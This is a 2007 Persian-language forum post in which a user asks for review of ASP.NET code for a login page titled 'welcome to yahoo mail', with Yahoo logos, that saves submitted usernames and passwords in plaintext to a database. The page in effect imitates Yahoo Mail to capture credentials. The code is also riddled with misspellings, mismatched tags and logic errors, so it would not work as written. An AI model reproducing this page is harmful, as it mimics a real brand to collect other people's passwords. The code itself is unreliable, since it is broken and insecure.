PDA

نسخه کامل مشاهده نسخه کامل : صفحه ايميل با asp.net



avanteh
27-01-2007, 10:01
ميشه نظرتونو بگين
يه كد باasp.net نوشتم كه
يه صفحه ايميله ,كه بتونه username ,password رو تو يه پايگاه نگه داره به نظر شما درسته .visual studio.net من نصب نميشه.

<%@ Page Languge = "VB"%>
<%@ Import Namespace = "System.Data%>
<%@ Import Namespace = "System.Data.SqlClint%>
<Script Runa"server">

1. Dim das As New DataSet()
2. Dim dap As sqldataAdepter
3. Dim conect As SqlConnection
4. Dim strReq As String
5. Dim strCon As String
6. Dim nerow As DataRow
7. Dim cb As SqlCommandBuider

*************************

8. Sub page_load(s As Object,e As EventArgs)
9. Handles MyBase.Load
10. strReq="Select *
11. from ---- Mail"
12. conect=New SqlConnection (strcon)
13. conect.Open()
14. dap=New SqlDataAdepter(strReq, conect)
15. da.Fill(das,"---- Mail")

16. End Sub


***********************
17. Sub Button1_click(s As Object.e As eventArgs)
18. nerow=das.Table("---- Mail").NewRow()
19. nerow("username") = Val(Box1.Txet)
20. nerow("password") = Val(Ctype(Box2.Txet),String)
21. das.Table("---- Mail")Rows.Add(nerow)
22. cb = New SqlCommandBuilder(das)
23. das.InsetCommand=cb.GetCommand()
24. das.Update(das,"---- Mail")
25. conect.Close()

26. Box1.Txet=""
27. Box2.Txet=""

28. End Sub
**********************
<html><head><title>welom to yahoo mail</title></html>
<body>
<form Runat ="Server">
<table>
<tr>
<td>
<table>
<tr>
<td>
<asp:Image
ImageUrl="/ya.gif"
AlterText="yahoo"
width="180"
Runat ="Server"/>
</td>

<td>
<asp:Image
ImageUrl="/mail.gif"
AlterText="mail"
width="300"
Runat ="Server"/>
</td>

<td>
<asp:Lable
ID="lb1"
Text="you are visit yahoomail,enjoy!!"
Runat ="Server"/>
</td>
</tr>

<tr>
<td>
<tabel border="1">
<tr>
<td>
<asp:Lable
ID="lb2"
Text="username"
Runat ="Server"/></td>

<td>
<asp:TextBox
ID="Box1"
Runat ="Server"/></td>
</tr>


<tr>
<td>
<asp:Lable
ID="lb3"
Text="password"
Runat ="Server"/></td>


<td>
<asp:TextBox
ID="Box2"
TextMode="password"
Runat ="Server"/></td>
</tr>



<tr>
<td align=" center">
<asp:Button
ID="But1"
OnClick="Button1_Click"
Runat ="Server"/>
</td>
</tr>
</table>
</td>
</td>
</table>
</td>
</tr>
</table>
</form>
</body>
</html>